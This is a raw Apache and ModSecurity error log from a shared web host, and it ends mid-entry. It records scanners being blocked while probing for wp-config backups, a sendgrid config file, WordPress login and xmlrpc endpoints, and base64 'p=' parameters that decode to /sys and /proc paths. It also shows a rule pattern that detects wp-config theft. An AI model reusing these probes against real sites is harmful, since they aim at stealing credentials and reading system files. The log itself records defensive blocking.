[unique_id "ai3zdVWSojQL4F7upKB1QAAAwm0"] [Sat Jun 13 18:19:01.753490 2026] [access_compat:error] [pid 646876:tid 646959] [remote 57.141.14.89:61216] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:01.753766 2026] [access_compat:error] [pid 646876:tid 646959] [remote 57.141.14.89:61216] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:01.886035 2026] [security2:error] [pid 648189:tid 648300] [remote 17.246.19.149:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 149.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zdVWSojQL4F7upKB1SAAA-k4"] [Sat Jun 13 18:19:02.089740 2026] [access_compat:error] [pid 646876:tid 646922] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQyL2V2ZW50Mi9zdWJzeXN0ZW0vZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:19:02.089996 2026] [access_compat:error] [pid 646876:tid 646922] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQyL2V2ZW50Mi9zdWJzeXN0ZW0vZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:19:02.633370 2026] [access_compat:error] [pid 648189:tid 648316] [remote 57.141.14.24:58416] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:02.633669 2026] [access_compat:error] [pid 648189:tid 648316] [remote 57.141.14.24:58416] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:02.668029 2026] [access_compat:error] [pid 646876:tid 646951] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vbW91c2UyL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQxL2lk [Sat Jun 13 18:19:02.668522 2026] [access_compat:error] [pid 646876:tid 646951] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vbW91c2UyL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQxL2lk [Sat Jun 13 18:19:02.766785 2026] [access_compat:error] [pid 646876:tid 646938] [remote 57.141.14.61:45120] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:02.767065 2026] [access_compat:error] [pid 646876:tid 646938] [remote 57.141.14.61:45120] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:02.953197 2026] [security2:error] [pid 646876:tid 646982] [remote 17.22.253.242:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 242.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zdtyTkdrNlD40tSG4XwAAV2c"] [Sat Jun 13 18:19:02.969740 2026] [security2:error] [pid 648189:tid 648380] [client 185.177.72.9:18344] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/config/sendgrid.php"] [unique_id "ai3zdlWSojQL4F7upKB1egAAAKA"] [Sat Jun 13 18:19:03.022621 2026] [security2:error] [pid 648189:tid 648344] [remote 80.82.115.208:47896] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 208.115.82.80.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "adam-de-villiers-foundation-usa.org"] [uri "/wp-login.php"] [unique_id "ai3zd1WSojQL4F7upKB1fQAA9Xk"], referer: https://adam-de-villiers-foundation-usa.org/wp-login.php [Sat Jun 13 18:19:03.027430 2026] [access_compat:error] [pid 646876:tid 646956] [remote 57.141.14.68:30564] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:03.027887 2026] [access_compat:error] [pid 646876:tid 646956] [remote 57.141.14.68:30564] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:03.167227 2026] [access_compat:error] [pid 646876:tid 646885] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDQ= [Sat Jun 13 18:19:03.167757 2026] [access_compat:error] [pid 646876:tid 646885] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDQ= [Sat Jun 13 18:19:03.187976 2026] [security2:error] [pid 648189:tid 648259] [remote 132.255.164.117:46684] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 117.164.255.132.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "weiserfestival.net"] [uri "/wp-login.php"] [unique_id "ai3zd1WSojQL4F7upKB1gQAA-yU"] [Sat Jun 13 18:19:03.241469 2026] [access_compat:error] [pid 648189:tid 648347] [remote 57.141.14.28:22002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:03.241775 2026] [access_compat:error] [pid 648189:tid 648347] [remote 57.141.14.28:22002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:03.468579 2026] [access_compat:error] [pid 648189:tid 648297] [remote 57.141.14.14:56870] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:03.468866 2026] [access_compat:error] [pid 648189:tid 648297] [remote 57.141.14.14:56870] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:03.523606 2026] [lsapi:warn] [pid 648189:tid 648333] [remote 152.136.188.74:52220] [host www.craigbrownphd.com] Backend log: PHP Warning: Trying to access array offset on value of type bool in /home1/craigbro/public_html/wp-content/plugins/elementor/includes/base/widget-base.php on line 224\n, referer: https://www.craigbrownphd.com/bicyclegan-in-tensorflow-httpsgooglyhcwbu/ [Sat Jun 13 18:19:03.523641 2026] [lsapi:warn] [pid 648189:tid 648333] [remote 152.136.188.74:52220] [host www.craigbrownphd.com] Backend log: PHP Warning: Undefined array key -1 in /home1/craigbro/public_html/wp-content/plugins/elementor/includes/base/controls-stack.php on line 696\n, referer: https://www.craigbrownphd.com/bicyclegan-in-tensorflow-httpsgooglyhcwbu/ [Sat Jun 13 18:19:03.659918 2026] [access_compat:error] [pid 646876:tid 646966] [remote 57.141.14.18:43208] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:03.660383 2026] [access_compat:error] [pid 646876:tid 646966] [remote 57.141.14.18:43208] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:03.672743 2026] [security2:error] [pid 648189:tid 648241] [remote 17.241.75.234:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 234.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zd1WSojQL4F7upKB1mwAA7xQ"] [Sat Jun 13 18:19:03.682577 2026] [access_compat:error] [pid 646876:tid 646994] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9kcml2ZXIvc2VyaW8x [Sat Jun 13 18:19:03.683069 2026] [access_compat:error] [pid 646876:tid 646994] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9kcml2ZXIvc2VyaW8x [Sat Jun 13 18:19:03.898024 2026] [access_compat:error] [pid 648189:tid 648293] [remote 57.141.14.21:22195] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:03.898454 2026] [access_compat:error] [pid 648189:tid 648293] [remote 57.141.14.21:22195] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:03.940450 2026] [access_compat:error] [pid 648189:tid 648295] [remote 216.73.216.223:32826] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:03.940916 2026] [access_compat:error] [pid 648189:tid 648295] [remote 216.73.216.223:32826] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:03.952743 2026] [security2:error] [pid 648189:tid 648409] [client 185.177.72.9:18354] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-config\\\\.php(?:\\\\W[a-z]*|bak)" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "300"] [id "900256"] [msg "Wp-Config Backup/edit file request"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/wp-config.php.orig"] [unique_id "ai3zd1WSojQL4F7upKB1rwAAALw"] [Sat Jun 13 18:19:03.969562 2026] [access_compat:error] [pid 648189:tid 648223] [remote 57.141.14.47:29140] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:03.970077 2026] [access_compat:error] [pid 648189:tid 648223] [remote 57.141.14.47:29140] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:04.011884 2026] [security2:error] [pid 648189:tid 648266] [remote 17.246.15.63:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 63.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zd1WSojQL4F7upKB1sgAAkSw"] [Sat Jun 13 18:19:04.014645 2026] [security2:error] [pid 648189:tid 648266] [remote 17.22.245.96:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 96.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zeFWSojQL4F7upKB1tAAAqyw"] [Sat Jun 13 18:19:04.244443 2026] [access_compat:error] [pid 646876:tid 646972] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDYvY2FwYWJpbGl0aWVz [Sat Jun 13 18:19:04.244917 2026] [access_compat:error] [pid 646876:tid 646972] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDYvY2FwYWJpbGl0aWVz [Sat Jun 13 18:19:04.314982 2026] [access_compat:error] [pid 648189:tid 648314] [remote 57.141.14.51:60024] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:04.315315 2026] [access_compat:error] [pid 648189:tid 648314] [remote 57.141.14.51:60024] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:04.583117 2026] [security2:error] [pid 648189:tid 648463] [client 205.185.124.128:62408] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 128.124.185.205.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bayareapsychconsult.com"] [uri "/wp-login.php"] [unique_id "ai3zeFWSojQL4F7upKB1xwAAAO0"] [Sat Jun 13 18:19:04.592161 2026] [security2:error] [pid 648189:tid 648325] [remote 17.22.245.156:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 156.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zeFWSojQL4F7upKB1yQAAlmY"] [Sat Jun 13 18:19:04.690515 2026] [security2:error] [pid 648189:tid 648415] [client 172.56.168.133:55649] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3zeFWSojQL4F7upKB10AAAAMI"] [Sat Jun 13 18:19:04.697854 2026] [security2:error] [pid 648189:tid 648415] [client 172.56.168.133:55649] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3zeFWSojQL4F7upKB10AAAAMI"] [Sat Jun 13 18:19:04.767222 2026] [access_compat:error] [pid 646876:tid 646882] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ2L3Bvd2Vy [Sat Jun 13 18:19:04.767670 2026] [access_compat:error] [pid 646876:tid 646882] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ2L3Bvd2Vy [Sat Jun 13 18:19:04.895541 2026] [security2:error] [pid 648189:tid 648307] [remote 17.22.237.232:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zeFWSojQL4F7upKB13wAA5VU"] [Sat Jun 13 18:19:04.908009 2026] [access_compat:error] [pid 648189:tid 648305] [remote 57.141.14.68:48456] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:04.908447 2026] [access_compat:error] [pid 648189:tid 648305] [remote 57.141.14.68:48456] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:05.054666 2026] [access_compat:error] [pid 646876:tid 646899] [remote 57.141.14.83:38874] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:05.055132 2026] [access_compat:error] [pid 646876:tid 646899] [remote 57.141.14.83:38874] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:05.227581 2026] [access_compat:error] [pid 648189:tid 648239] [remote 74.7.242.16:33726] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxODAzL2N3ZA== [Sat Jun 13 18:19:05.228023 2026] [access_compat:error] [pid 648189:tid 648239] [remote 74.7.242.16:33726] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxODAzL2N3ZA== [Sat Jun 13 18:19:05.274155 2026] [access_compat:error] [pid 646876:tid 646974] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 